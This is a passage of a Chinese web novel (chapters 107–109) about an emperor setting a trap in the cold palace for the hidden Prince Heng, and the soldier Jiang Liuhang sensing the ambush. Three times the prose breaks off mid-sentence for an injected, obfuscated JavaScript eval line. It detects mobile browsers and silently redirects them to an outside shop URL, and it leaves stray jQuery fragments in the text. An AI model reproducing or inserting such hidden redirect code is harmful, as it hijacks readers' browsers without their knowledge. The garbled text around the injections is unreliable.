又道:“冯统领先前问,皇上都没应,姜指挥一问,皇上就给了答复,一定是皇上记着姜指挥在盘云县的功劳!” 姜六航摆手:“皇上应该原就没打算要沈将军的命,不然怎会我都没开口求情就饶过沈将军了?” 郑大海想了想,点头:“有道理。” 沈以贵不以为然,动了动唇,却没说出口。 当时他被军士拖出去行刑,曾有一瞬对上皇帝的眼神,燃着深不见底的怒火和怨恨。那一刻,他知道,皇帝恨得想要他的命。 如果不是姜指挥突然插进来,他今日凶多吉少。 “沈将军,皇上因何发这样大的怒火?”姜六航试探着问道。 大哥知道近卫和她亲厚,他们做了错事,看在她的面子上,只要不是谋反叛国,大哥应该都会宽恕些,绝不会下这样的狠手。她不相信,沈以贵会做出谋反叛国的事。 “是啊是啊,沈将军,你到底犯了什么错?”郑大海也好奇。 皇上对沈将军的偏宠,大家可都是看在眼里的。好几年沈将军当值三天打鱼两天晒网,皇上都没撤下他的职位。 换一个人试试! 沈以贵顿了顿,含糊其辞道:“我办砸了皇上交下来的差事。”皇上不许他把将军曾找过他的事说出去。 “这样啊。那差事肯定很紧要,皇上才发这样大的脾气。”郑大海很是同情。沈将军都办不下那差事,难度可想而知。 他倒是知道规矩,没问是什么差事。 姜六航却一百个不信近卫的说词,但也不好追问了。 只是不知为何,心中隐隐不安,就像最敏锐的战士嗅到危险。 —— 在军士们抬着沈以贵往帐篷去时,木屋的房间里,一片死寂。 皇帝仍在抚着匕首,幽深的眸中若有浪涛翻涌,薄唇紧抿,握着刀柄的手背上青筋暴起。 冯简在一旁看着,心惊胆战。那刀光每闪一下,他的目光就不由自主地跟着跳动一下。 从前在京城,皇上隔几天就要在胳膊上划一刀,似乎那样心里才好受些,出京城后,恐被人发现,才停止自伤。而自从盘云县晚宴,一个接一个惊天动地的消息接踵而至,皇上情绪剧烈起伏,每一次,皇上抽出匕首,他都担心皇上终于忍不住了。 仿佛过了很久,皇帝把匕首插入鞘中。 冯简暗中长吁一口气,菩萨保佑,又平安过去了一回。 “黄大侠应该到北狄了吧?”房间里响起皇帝沉哑的声音。 “是。按照脚程,应该到北狄了。”冯简揣摩着皇上的心思,道,“等锦衣卫带着画师找到他后,画师画了衡王的头像,对照画像找人,用不了多久,就可以找到衡王。” 秦信摇头:“没那么容易,根据口头描叙画出的像,和真人有四五分相似就不错了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142996|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他扣着桌案,声音低沉,流露出十足的悔意,“只怪朕那时没及时反应过来,让黄大侠跑了。若是朕来画这画,当有六七分相似。” “怪不得皇上,当时所有人都惊呆了,没人能反应得过来,黄大侠又跑得太快、太突然。”冯简连忙道,又有些疑惑,“皇上,臣不明白,您既然想亲自画像,当晚接到破山剑不肯回来的消息后,为何不再派锦衣卫追回他?那时他还没走很远,回来一趟不麻烦。” “他一心去寻徒弟,不会愿意回来,若强要他回来,说不定得动武。他到底是衡王的师父,朕需得敬着,不能太无礼。” 冯简心想:“这就是书里说的‘爱屋及乌’吧?” “再说,有黄大侠在北狄相助,寻起衡王容易些。他早一日到北狄,或许就能早一日寻到衡王。” “是啊,锦衣卫和黄大侠合力协作,衡王再没了第三张龙影面具,躲不住。”冯简附和道,“兴许等我们回到京城,就有好消息从北狄传来了。” 秦信手指收紧,眸光闪了一下。 是吗?真会这样顺利? 他总觉得不安稳,事情还有波折。 如果去年八月沈以贵把六航的事告诉他就好了……想到这里,他心中又升起几乎压抑不住的怒意,扣着桌案的手猛地翻过来,使力拍下,冷声道:“可恨沈以贵!” 冯简吓得一颤,缩了缩脖子。 这……皇上怎么又想起沈将军了? “若不是怕衡王回来后问起他,朕饶不了他!若衡王有不测,朕要剥他的皮,抽他的筋!” 那声音似乎是咬着牙,从齿缝里一字字地蹦出来,透着彻骨寒意和杀气,冯简只觉颈上寒毛根根竖起。 沈以贵这条命,可还没安全,吊着呢! “速速传信给曾指挥,令他好生看护天心草。” “是!” “令曾指挥暗中安排人手监视住冷宫,凡有接触天心草者,务必看牢,但不可让其发现,打草惊蛇。” 冯简一转念,已明白皇帝的用意:“皇上您是说……” 秦信缓缓道:“鬼手神医擅易容,衡王武功天下无有敌手,他们存心隐藏,锦衣卫和黄大侠未必找得到他们。但衡王从北狄回来后,必定要进皇宫取天心草。” 冯简眉眼间现出兴奋:“所以只要守着天心草,就一定会等到衡王!” 不一定。 如果没寻到其它需要的药材,或是……秦信狠狠皱眉,把那些不好的猜想都挥出脑外,垂眸掩下里面的神色,坚定地道:“对!” 他声音沉缓:“皇宫防守严密,衡王大概进不来,很可能会请旁人进来挖走天心草。” “请沈将军?”冯简第一个就想到这个衡王昔日的近卫,且衡王早先已经找了他,应该会继续让他办事。重新找人也是要冒风险的。 秦信沉吟着,指尖徐缓地摩挲着刀鞘上的纹路:“很可能是他,但也要防着衡王另外找人。衡王说过,让沈以贵再不要管此事,也许是担心沈以贵被人察觉盯上,打算另外寻一个人挖天心草。” “寻谁?勇毅伯,还有——”冯简盯着地面喃喃道。 忽地,他脑中一闪,一个人影浮现出来。他抬眼,恰和皇帝的凤眸对上,两人同时说出: “小裴国公!” “裴佑。” 秦信沉眸。 鬼手神医说,两年后回来,从去年五月算起,还有一年零三个月,他等不了这样久,“守着天心草只是最后的办法,让各方抓紧,在这之前找到衡王。” 冯简应下。 “传令,半个时辰后启程回京城。” “是!”冯简抱拳领命。 107. 第 107 章 大夫在帐篷里给沈以贵处理伤势,姜六航在帐外徘徊。她听不到沈以贵的呼疼声,只不时传来郑大海粗犷的声音:“沈将军,你忍着点!”“沈将军,要不嘴里咬一块布?” 随着那声音,姜六航不由得攥紧手指,越走越快。 终于,伤口处理好了,姜六航进去。 沈以贵已经昏昏沉沉地睡着。 大夫留下药膏,告辞离去。 姜六航、郑大海两人嘱咐了照顾伤员的军士几句,也出了帐篷。在帐篷门口,恰好撞见过来的冯简。 冯简探头往帐内望了望,发现床上的人睡着了,于是没进去,只问:“沈将军的伤不要紧吧?” “不要紧。”郑大海摆手,“大夫说没伤到筋骨,好好护养就行。” “那就好。”冯简面露欣慰,转而告诉两人,“半个时辰后启程去京城。” 待两人应下后,他又道:“沈将军刚伤着,暂时不宜移动,若是半个时辰后随军出发,恐怕牵动伤口。让沈将军留下,你俩安排几个军士照顾他,待伤势稍好后再赶回京城。” 姜六航正要答应,郑大海却满不在乎地道:“沈将军没那么娇贵,又没伤到筋骨,躺在马车里不碍事。不到一个月时间那些外邦使臣就要来了,我们御林军要在他们面前演武,事情多着,沈将军在,总能帮一下手。” “一个月伤都没好全,能帮什么手?”冯简面色不虞,“现在大意,将来留下后患怎么办?” 这两人哪知道他的苦心?他这是想办法让他们上司暂时和皇上隔开,别在皇上的眼皮子底下晃,免得皇上怒上心头,一下子忍不住把他们上司砍了。 他以命令的语气道:“让沈将军留下,告诉他,不要急,等伤大好了再回京城。” 交代过后,他急匆匆地走了。 姜六航瞧着他的背影,心中疑虑丛生。 沈以贵挨的这顿打蹊跷。 而冯简要把沈以贵留下的强硬态度也透着蹊跷。 敏锐的直觉告诉她,危险在逼近。 可她却不知这危险来自何方。 脑袋里一阵阵刺痛,姜六航抬手,按着额头。 “姜指挥,你哪里不舒服吗?”旁边传来郑大海关切的声音。 姜六航放下手:“没事,刚刚这里有点痒。” 郑大海松了口气:“姜指挥,你可要保重好身体,千万不能生病了。外邦使臣来后,还要靠姜指挥你指挥演武,扬我国威呢。” 是啊,回京后的两件大事—— 演武。 以及在那期间,要第二次吃下天心草。 “嗯哼!”姜六航扬起头,“定然震得他们不敢动弹一下!” “好!”郑大海红光满面地搓手,仿佛已看到赫赫军威之下,万国臣服的场景。 帐篷内,昏睡的沈以贵猛然睁眼。 他刚才模模糊糊中,好像听到将军“嗯哼”了一声。 帐篷里只有一个军士在清理桌面和地面,听见动静,连忙望向床上:“沈将军,要喝水吗?还是要方便?” 沈以贵定了定神:“外面谁在说话?” 军士掀开帐帘瞄了一眼:“是姜指挥和郑指挥。” “哦。”沈以贵眼神暗淡下来,“拿水来。” 就着军士的手喝了水,他重又闭上眼,耳边却回旋着一声又一声的“嗯哼”。 那时,将军或是扬着头,意气风发,或是举着霹雳刀,眼神睥睨,或是挥着手,漫不经心。 这天未时正,军队从云山出发。 姜六航满腹心事,还是坐着来时的马车,驶往京城。 而大夏各地,因着衡王消息的散开,掀起波澜。 —— 和州。 太守府,书房内,洛太守从书柜里拿出五张无纹素纸,交给一名身穿玄黑紧身服、腰挂绣春刀的锦衣卫:“这就是去年赤……衡王送到衙里的名单。” 锦衣卫接过,见上面有一条浅浅的折痕,皱眉用手按了按。 洛太守心下不安。 他哪知道这是衡王的手笔啊!要早知道,他肯定供起来了,而不是随手塞在书柜里。这还是他听见衡王的事后,马上把五张纸找了出来,在书册里夹了一天,看上去才比较平整。 “还要请洛大人把去年衡王在客栈登记的信息找来。”锦衣卫把素纸收好。 洛太守早有准备,连忙奉上:“这就是。不过不是衡王写的,是客栈老板代笔。” 锦衣卫看过,放下了。皇上让收集衡王字迹,这个没有用处。 洛太守把锦衣卫送出府外,看他骑着马消失在长街的尽头。 伫立在在府门口,想起去年,就是在这里,衡王刀剑相擦,阻住欲冲击府衙的江湖客,一人舌战群雄,洛太守忍不住喃喃感慨:“原来是衡王,难怪那般风采!” 而此时,长街尽头的一间茶馆里,说书先生“啪!”地一拍醒木。 “想衡王服下增气丹,日夜不休,千里奔赴,欲要救出父母,却惊见父母已被杀害。彼时,衡王既受毒性刀削斧劈之疼,又受父母双双惨亡剜心之疼,该是何等煎熬!” 他目光扫过底下面色悲愤的人群,沉着声道:“杀父杀母仇人在前,空有一身武功,却被毒性所限,不能手刃仇人,衡王五内俱焚,忍辱负重……”说到这里,他哽咽不能言,不得不停下。 底下已是一片悲声,有人呼着“衡王啊……”捶胸顿足大哭。 二楼雅间里,傅大儒掀起门帘,手指紧扣栏杆,望着底下,胸口一股气激荡。悲愤、惭愧、激昂、感佩,化作一句句的诗句,似要直从胸口涌出。 “五年!衡王终报父母之仇!亲手斩杀杨承,悬挂其尸首于城墙!可这时增气丹的毒性也控制不住了,衡王放了一把大火,死遁而去。”说书先生陡地提高声音,“诸位,你们说,衡王为何要如此?” “怕小人以她的名头作乱。” “怕传出对朝廷不利的谣言。” 在纷纷议论中,傅大儒悄悄出了茶馆,急步往松涛文馆走去。到文馆后,他进到书房,铺开纸,提起笔一挥而就。激荡的情绪宣泄而出,他长吁一口气,这才觉得心中舒畅了些。放下笔,把赋文诵读一遍,只觉字字情真意切,句句慷慨激昂,实为生平最得意之作。 他拿着赋文,犯了难。 此等佳作,怎可不传于世? 但天下皆知他十年前写下的《斥姜衡文》,几岁小儿都能背诵几句,如今真相大白,他又第一个写下《感衡王赋》,转变太快,实在有些拉不下面子。 正犹豫时,忽听窗外有人念诵。仔细一听,却是一篇赞叹衡王之作,文辞美奂美仑,感情充沛,竟是不输他刚才所作。 他推开窗,见是几名学生,招手问道:“这文章是何人所作?” 刚才念诵的学生恭敬地回道:“馆长,是顾老先生写的《赞衡王赋》,从通州流传过来,我们也是今天听到的。” 傅大儒让学生把那赋文从头到尾念诵了一遍,感叹道:“老夫也写了一篇《感衡王赋》,却不如顾老先生辞藻华丽。” 几个学生都惊喜道:“馆长也写了赋文?”连忙求着拜读。 傅大儒矜持地把墨迹未干的纸张递给学生们。 自此,从顾老先生、傅大儒始,各种赞美衡王的诗赋如雨后春笋冒出,传播天下。 —— 京城。 秦府,秦实一家三口跪在蒲团上,认认真真地对着衡王的长生牌位磕头。起身后,秦学拉着他爹的裤脚,仰面看着他爹红红的眼眶,问道:“爹,你又高兴得要哭了吗?” 秦实摸摸儿子的脸:“不哭,爹以后高兴了只笑。” 在另一条街上的平昌公府,裴祥光此时正一脸沉郁,在房间里走来走去。 裴轩不解地问:“爹,到底怎么了?”他爹这些天心事重重的,看上去,竟像是有些乱了方寸。从前突然冒出个皇帝的表兄,又那样得圣宠,他爹也没这样过。 “衡王……唉。”裴祥光顿住脚步,摇头。 “衡王怎么了?”裴轩愈发不解。他讨厌衡王,知道衡王还活着后很是郁闷,但他爹和衡王的关系一向还可以啊。 “皇帝喜欢衡王。衡王若归来,皇帝必娶其为后。” “啊?”裴轩先是惊讶,继而脸色大变,脱口而出,“那怎么可以?” 裴祥光瞥儿子一眼,慢慢道:“怎么不可以?皇帝立后,本就天经地义。” 裴轩噎了一下,一甩袖子,气急败坏道:“可是,这些年,皇帝从来没有娶妻生子的想法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142997|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 这些年,多少朝臣劝谏皇帝娶后纳妃,诞下继承人,就是他爹,开头的两年也劝谏过多次,皇帝对此极为排斥。许多人有过各种各样的猜测,后来,大家都默认了皇帝不会有亲生子女。而现在,却来告诉他,皇帝忽然改变了主意? 仿佛把他一颗滚烫的心,丢到了冰天雪地里。 既给了希望,又生生夺去,怎么甘心! “爹,你没搞错吧?皇帝真喜欢衡王?” “绝不会错。” 裴轩眼露希冀,“太医们不是说,她的病治不好么?” 裴祥光不自觉地握紧手:“太医们也说,以那增气丹的毒性,衡王早就应该不在人世,可衡王还好好地活着。而且,鬼手神医说两年后回来,应该有一定把握。” 裴轩一拳砸在桌上:“那怎么办?” 之前遇到秦实的威胁,他第一个就想到刺杀,除掉这个威胁。可是对衡王,他虽欲除之而后快,却是不敢派刺客去的。 有哪个刺客杀得了衡王? 裴祥光没答儿子的话,只摇头叹了口气,显然也是没有办法。 这天裴轩去了檀林寺,至晚方归。 半夜,林少夫人被身边动静惊醒。 丈夫在睡梦中喃喃着什么,她凑近,只听得丈夫咬牙切齿地吐出“衡王”两字,那声音里的恨意,仿若衡王是他抄家灭族的大仇人。 林少夫人骇了一跳。 丈夫的声音还在继续:“菩萨保佑,衡王活不了。” 林少夫人掩住嘴,躺了回去。 北郊,月色洒在两位居士墓前,正对着墓碑,孙从庸插上香烛,摆上酒菜,磕过头后,席地坐下。 缓缓的嗓音流淌在月华中。 “允兄,真姐,本打算早些来看你们的,可人太多了,日夜不断。” “好多人来拜祭你们,拜祭衡王的父母。” “允兄,你那时说,衡儿必成绝世良将,你眼光准啊。你们的女儿,衡儿,成了全天下敬仰的衡王!” “他们写了许多诗文夸赞衡儿,我念给你们听,这是傅大儒写的《感衡王赋》……” —— 南海,无边海面上行驶着一艘巨轮。 宋今禾站在甲板上,眺望海面,心中无限豪情:“上代楼主建造大船,欲要到那海外之地,却终未成行,不想我今日却能替他了此心愿。” 她的身边立着三人,一个模样俊俏的青年,一个戴着青面獠牙面具的女子,一个腰佩长剑的少女。 青年——观野悄悄往楼主靠了靠:“楼主威武,定能在海外开创一片基业。” 宋今禾转向三人:“还请你们相助于我。” 三人齐声应下。 面具女子声音凝滞,说得很慢,仿佛才学会说话:“我才入中原便被北狄仇敌重伤,是百晓楼救了我,楼主但有所遣,无敢不从。” 宋今禾耐心地听她说完,拍了拍她的胳膊:“从你把身份借给赤霄剑客,那救命之恩就清了。此去海外,情况不明,是我要仰仗你的才智。我们齐心协力,共创基业。” 面具女子重重点头。 宋今禾又对少女道:“小娟是我们楼里武功最高的,我们的安全就靠你了。” 小娟言简意赅,有力地道:“放心。” 宋今禾笑了:“小娟学了一招如意剑法,似乎更自信了。” 小娟握紧长剑:“虽只一招,却千变万化,受益无穷。” 几人说话间,一只海鸟掠过水面,宋今禾目光落在鸟身上,口中道:“此次若不是方三用鸟传信,我们就被皇帝捉住了。”她转身询问青年,“还留在中原的驻点可有发现方三的踪迹?” “没有。”观野回道,“我按照楼主的吩咐,交代了各处,方三若有难,全力相助。” “好。”宋今禾轻声道,“但愿方三能逃脱锦衣卫的追捕。” 方三如果被抓住了,衡妹妹的身份就保不住了。 夕阳落到海面上,把整片海都染成了红色,巨轮朝着落日驶去。 此时,船上没一个人料到,这一去,十年后才得以归来。那时,兴元帝和明曦皇后出京城十里,以国主之礼相迎宋皇。 —— 三月初,帝驾回到京城,皇帝直奔冷宫。 108. 第 108 章 “皇上,就是这三株。” 顺着曾指挥的指引,秦信望向墙角的三株草。他蹲下身,手指悬于叶片上方,果如曾指挥所说,叶片向上卷起,贴住他的手指。 “没被其他人发现吧?”他轻轻抚着叶片。 若是实在寻不到六航,借由天心草追踪是最后的办法,万万不能出差错。 “没有。”曾指挥拱手回道,“遵照皇上吩咐,臣安排了专人,一天十二个时辰轮流,暗中看守这三株天心草。除了看守的御林军,没有其他人知道这里有三株天心草。就是以前在这里巡逻的军士,也只以为商公公疯癫,把满园的野草当作宝贝,并不知里面真有珍贵的药草。” 秦信直起身:“唤商公公来,朕见见他。” “是。”曾指挥先领命,又提醒道,“皇上,这商公公脑子不清楚,满嘴胡言乱语。” “不妨事。” 商公公很快被叫了来,见到人围着他的宝贝,登时既惊又急,直愣愣地瞪着眼,大声嚷道:“你们是谁?来偷我的草吗?” 曾指挥连忙呵斥:“你乱嚷什么?这是……贵人。”皇上此次来冷宫是秘密行事,他不敢对商公公说出“皇上”两字,恐怕这疯癫之人口无遮拦地嚷出去。 “你再胡乱叫嚷,就把你赶出宫去。”他吓唬道。 “我不,我不叫了,别赶我出去。”商公公惊惶地抱住头,“我听话,让我留在娘娘身边,给娘娘照顾花草。” “早听说娘娘擅种花草,今日一见,果然养得很好。” 忽然,一个低沉柔和的声音传入耳内,商公公放下手,找到出声之人,高兴地道:“是我照顾的!” “是吗?”秦信指着墙角的天心草,问起每日要浇几次水,浇多少,是否喜日晒等。 商公公说得十分开心。 曾指挥在一旁看得目瞪口呆。 他所见的皇上,一直沉肃威严。 可此时皇上听着商公公说话,在他看来,许多都是废话、疯话,皇上却没显出一点不耐的神色。 秦信没注意曾指挥的惊诧,他和商公公交谈了一会,发现这人除了照料花草,在其它事上都糊涂的紧,探不出什么有用信息,遗憾地止住。 离开前,他吩咐跟着的冯简:“商公公照料天心草有功,让人好好安排他的生活,不要亏待了他。” 冯简答应下来。 吩咐完毕后,秦信准备离开,才踏出一步,听得商公公叫道:“贵人!” 他转身:“有何事?” “我的草被人偷了,贵人给我找回来吧。”商公公面上带着哀求。 “偷?”秦信陡然一惊,第一个念头是六航从北狄回来了,挖走了一株天心草。 但他马上反应过来,沈以贵说过,找到的时候,这里有三株天心草,现在还是三株。纵然被人挖走了一株或几株,也是在沈以贵找到之前,和六航无关。 除非,只折了根茎或叶片。 想到六航或许早已摘了天心草,并不需再来,守着天心草,并不能等来六航,秦信心里升起巨大的恐惧,呼吸发沉。 他再次蹲下,仔细观察草叶。 “我有三株,不对,四株,不……”一旁,商公公说着神色混乱起来,低头对着墙角数着,“一、二、三……”他好像记得是四株的,但又没少,表情越发茫然,自顾喃喃道:“偷了,贼子偷了我的草……” 秦信没看出草叶有什么异样。 曾指挥走近一步,低声道:“皇上,听原来巡逻的军士说,商公公吵着有人偷了他的草,让人给他找,吵了好几个月了。” 好几个月了,那就不是六航,那时六航还在北狄。 秦信松懈下来,安抚了商公公几句,答应给他寻找偷草的人,在他的千恩万谢中离开了。 路上,秦信心中莫名不安,转头问冯简:“沈以贵说,他和衡王第二次见过面后来看过天心草,天心草还在那里,一片叶子都没少。他是这样说的吧?”说着“一片叶子都没少”时,他格外加重了语气。 冯简想了想,肯定地道:“是这样说的。” 秦信沉吟了一下,道:“你去查一下,商公公说人偷了他的草,到底怎么回事。” 冯简:“……” 疯癫之人说的胡话,怎么查?但皇上让查,那就必须查。 —— 姜六航不知最信任的近卫出卖了自己,更不知冷宫里的老太监发现少了两片叶子,几个月了竟然还死揪着不放。 她目前时刻忧心的,是方三被锦衣卫捉住。 可对此事,她实在无能为力,只能听天由命了。 而此时,距离外邦来朝只有十几天了,她很快把所有的精力都投入到演武的筹备上。 在盘云县牺牲了许多御林军士,那都是准备参加演武,她特意带出去操练的,如今只得重新挑出一些军士补充。好在御林军个个都是千里挑一,先前的训练也都没落下,这时补到演武的队伍中,倒也快速融入。 没过几天,裴佑回了京城,回来的第二天就来探望姜六航。 姜六航旁敲侧击探问她到百晓楼的情况。 “跑了,东西也都带走了,我在皇帝说的东耳房附近掘地三尺,也没找到什么有用的线索。”裴佑悻悻又不解地道,“我日夜兼程,够快了,也不知那宋楼主怎么得到的消息,我赶到的时候,跑得无影无踪了。” 听说没挖出东西,姜六航暗自松了口气。 她没在那里埋东西,可今禾姐未必没藏什么。她先前就担心今禾姐走得匆忙,来不及收拾,如今看来,今禾姐走得很从容,没留下半点把柄。 可是,今禾姐怎会那样快地得到消息呢? 和裴佑一样,姜六航也想不通。 想不通就罢了,只要结果是好的。 姜六航迅速把疑惑抛开,她现在要考虑的事情多着,不必在已经过去且再无威胁的事情上费神。 她说着演武的事项,引开话题。 再过两天,左卫将军也从顺州回来了,同样没在童翼宅子里挖出什么。 这在姜六航的意料之中,除了令牌,她没在那宅子里埋下其它东西。她又不是有什么奇特的嗜好,怎会到处埋东西?也不知大哥怎么想的。 姜六航没想到,大哥誓要把挖掘事业进行到底。 更没想到,自己很快就被打脸了。 这天训练间隙,休整的时候,左卫将军神色奇异,低声对席地而坐的四个指挥道:“皇上让陆校尉在云山居士和柳溪居士坟墓边上挖地,看衡王埋了东西没有。” 姜六航:“……” 曾、鲁、郑指挥:“……” 静默了一会,姜六航开口问:“哪个陆校尉?” 郑大海随手扯着地上的草:“就是陆戈校尉。” 曾指挥补充道:“陆校尉近一年被安排守卫衡王墓。” 郑大海“嗐”了声:“哪知那墓是个假的,里面根本不是衡王!好多人都说,是衡王捡了一具斩月楼帮众的尸体,充作替身。” 姜六航:“……”说的真准。 鲁指挥抚着膝盖,拉回话题:“去年八月的一天晚上,有人在两位居士墓前烧纸钱,引起大火,陆校尉率兵布下八阵图围捕,却被那人轻易逃脱。当时道士们说,那是衡王的魂魄。皇上赶过去,设下招魂阵,七天七夜,后来谢尚书去了才把皇上劝回来。” 鲁指挥这话是解释给姜六航听的,其他人都知道这件事。 其实姜六航也知道,她听沈以贵说过。 那时沈以贵说,皇上疯了似的赶去。 “哦。”姜六航点头。 原来陆校尉就是那晚被大火引来的军士的首领。 郑大海丢了扯的草,一拍大腿:“哪知那不是魂魄,其实就是衡王本人!” 几人都倏地望向他。 “你怎么知道那是衡王?”左卫将军问。 “精通八阵图,不是衡王是谁?”郑大海理直气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147400|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壮。 曾指挥:“姜指挥也精通八阵图。” 突然被点名的姜六航心口陡地一跳,不过没人注意到她脸上表情瞬间的凝滞,郑大海紧接着反驳:“姜指挥可没有那样好的轻功。既精通八阵图又轻功绝顶,除了衡王,天下不可能再有第二个这样的人。”他十分不以为然,“真当那样天赋的人大白菜似的,随便就长出一个?” 左卫将军等人互望一眼,不说话了。 实则不止郑大海一个人这样猜测,但事关重大,没有确凿证据,一般不敢像郑大海这样笃定地说出来。 姜六航垂目,手指无意识地捏紧衣角。 大哥,是不是也这样认定? 左卫将军咳了一声,继续分享消息:“还有,皇上派了小裴国公在带人挖掘衡王府的废火场。” 郑大海惊讶地道:“四年前不是挖过吗?怎么又挖?”那次还挖得不彻底吗? “皇上应该是怀疑,去年八月在两位居士墓前烧纸的那个人是衡王。”鲁指挥一转念就明白了,“既然衡王去年来了京城,那么有可能去了王府,留下什么。” 郑大海得意地道:“你们看,皇上也觉得那人是衡王吧。” 姜六航半张了嘴,不知该说什么。 说起皇帝挖火场,左卫将军几人都没有展开议论,显然不认为火场里真有衡王埋的东西。 可是这回,她是真的,在那里埋了东西。 —— 这天,冯简把调查结果禀报到御前。 “皇上,已经查清,商公公嚷着草被人盗了,是因为有一天被人摘走了两片草叶。”冯简说着,差点忍不住揉一揉额头。从商公公嘴里问清这个,可真是费了老大的功夫,到现在都觉得头疼。他握了握拳,克制住冲动,没在御前失仪。 “两片?”秦信目光微微一凝,“可查出了是谁摘的?” “没有,那天巡逻的军士没见着人进入冷宫。” “摘两片叶子干什么?入药?两片少了吧?”秦信沉吟着,手上不自觉地转动佛珠,“难道是做药引?” “也有可能是谁经过,也不知道那是天心草,顺手扯的。”冯简认为这个可能性更大。 秦信不置可否,丢开这个疑问,又问:“摘走草叶,是哪天?” “商公公说不清楚是哪天,但那天一个军士巡逻经过正好听到他叫嚷,军士说,那天是去年的十月十五。” 十月十五。 秦信眸光一颤。 那一天发生了好几件事。 姜恒第一次上朝,他把她误认为六航。 也是从那一天起,他再画不出六航的眼睛。 还有……那一天,赤云突然发狂。 “军士记得清楚日子,是因为那天正好是连破伏龙山三关的姜指挥第一次上朝的日子,他印象很深。”冯简解释。 “原来如此。”秦信声音没有起伏地道。 正此时,门外御林军传报,有北狄的密报送来。 冯简连忙去取了来,呈给皇帝。 秦信拆开信,一目十行地看完,眉头微微拢起。 冯简眼巴巴地望着,又不敢问,正心焦时,忽听皇帝问道:“去年那两个武林高手见到衡王使的剑招,好像都是月落星沉?” “是。”冯简点头。 秦信缓声道:“锦衣卫在北狄发现衡王的最后踪迹,是今年元月初,她在一个小部落暂住,恰遇马匪来抢劫,她相助部众抗敌。据部众比划剑招,用的也是月落星沉。”他轻敲桌案,“怎么三次都是这一招?” 冯简想了想:“可能衡王用这招最顺手?” 秦信垂眸,目光落在信纸上,心思却飘到了千里之外。 六航在北狄,可还顺利? —— 转眼到了三月中旬,各国使者陆续到达京城,定于三月十八日一同到京城北郊,观看御林军演武。 而在前一日,三月十七,姜六航进宫,打算第二次吃下天心草。 109. 第 109 章 这天上午,姜六航以向冯简报告事情为由进宫,先到勤政殿,寻了几件事,就在勤政殿前的台阶下和冯简说了,然后兜了一个圈,眼见无人,于是往冷宫走去。 冷宫仍然荒凉,一路都没遇见人。 走着走着,忽然,一股不安从心底升起,好似在战场上,即将踏入陷阱。 她陡然停下脚步。 静。 太静了。 这种极致的安静,让姜六航颈上汗毛根根竖起,不寒而栗。 上次来也是这样安静,却没像今天一样,让她如置身在重重陷阱之中。周围仿佛有无数双眼睛在暗中窥视着,等着她露出破绽扑上来。 她抬眼,环顾四周。 左侧道旁,有一大片齐人高的野草,藏几个人不成问题。右侧一座宫殿,有扇窗破了一个小洞,在此刻姜六航的眼里,那洞好似怪兽的瞳,直直朝着她。高高的屋檐,正可挡住人的身影。左前方两棵生长了上百年的大树,枝繁叶茂,顶端形成树冠,遮住视线。 前方十几步处,就是天心草所在院子的院门,大开着。 走进去,就可吃下天心草。 眼望着敞开的院门,姜六航抿了抿唇。 她无法忽略直觉给她的危险警告,可让她就这样放弃,又不甘心。 她不能频频找理由进宫,会引起怀疑,所以每一次进宫的机会都很珍贵。 从庸叔叔说,在三月底之前,必须吃下天心草,否则与前面的治疗接续不上,前功尽弃,还会受到反噬。 明天就要去北郊,几天之内都回不来,而等演武之后,大哥说不定会给她调职。为了确保不出差错,她必须抓住这十来天的每一次机会。 拳头握紧又松开,姜六航举步,朝右侧宫殿走去,仿佛好奇般,绕着慢慢转圈。到那窗户的洞口处,她装作突然发现的样子,陡地凑过去。 里面空无一人。 姜六航的视线快速扫过。 床、桌、椅…… 窗帘! 姜六航瞳孔骤缩。 窗帘极轻微地飘动了一下,很快停止,但她已看得清清楚楚。 分明是有人仓促躲在了那后面! 姜六航装作毫无所觉的样子,后退一步,走开一段距离后,继续绕着宫殿转圈,眼角余光暗暗注意着屋顶。 终于,在屋顶阴影笼罩的某一凹陷处,她捕捉到一线不协调的颜色。那是有人蜷缩在阴影里,露出的一小片衣角。 姜六航没有表现出丝毫的凝滞,脚步不停,离开了宫殿,背对那院门行去。在岔路口,她没走来时的路,另选了一条路,一边往前走,一边兴致勃勃地四处张望,十足一个刚进城的土包子。 心里却已掀起惊涛骇浪。 好险,差点就进去那院门了。 守在这里的,不是锦衣卫就是御林军。 可是为什么,要在冷宫布下天罗地网? 想要捉住谁? 姜六航想起了被留在云山的沈以贵,以及他挨的那顿打。当时的疑惑一直存在心中,这时却似乎有了答案。 只是姜六航犹自有些不肯相信。 沈以贵可是最听她话的啊!怎会出卖她呢? 这且放到一边,摆在眼前急需解决的难题是:怎么在不暴露身份的前提下,吃到天心草? 姜六航左思右想,只觉这是个无解的难题。 